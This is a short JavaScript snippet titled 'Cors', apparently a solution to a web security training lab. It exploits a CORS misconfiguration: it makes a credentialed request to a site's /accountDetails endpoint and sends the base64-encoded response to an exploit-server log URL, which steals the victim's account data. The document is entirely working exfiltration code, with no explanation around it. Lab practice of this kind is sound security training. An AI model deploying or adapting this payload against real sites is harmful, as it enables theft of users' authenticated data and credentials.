Cors

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://accd1fd41f49fd57c0710d75007f00b6.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//exploit-acde1f681f31fd46c0970d7d01670029.web-security-academy.net//log?key='+btoa(this.responseText);
};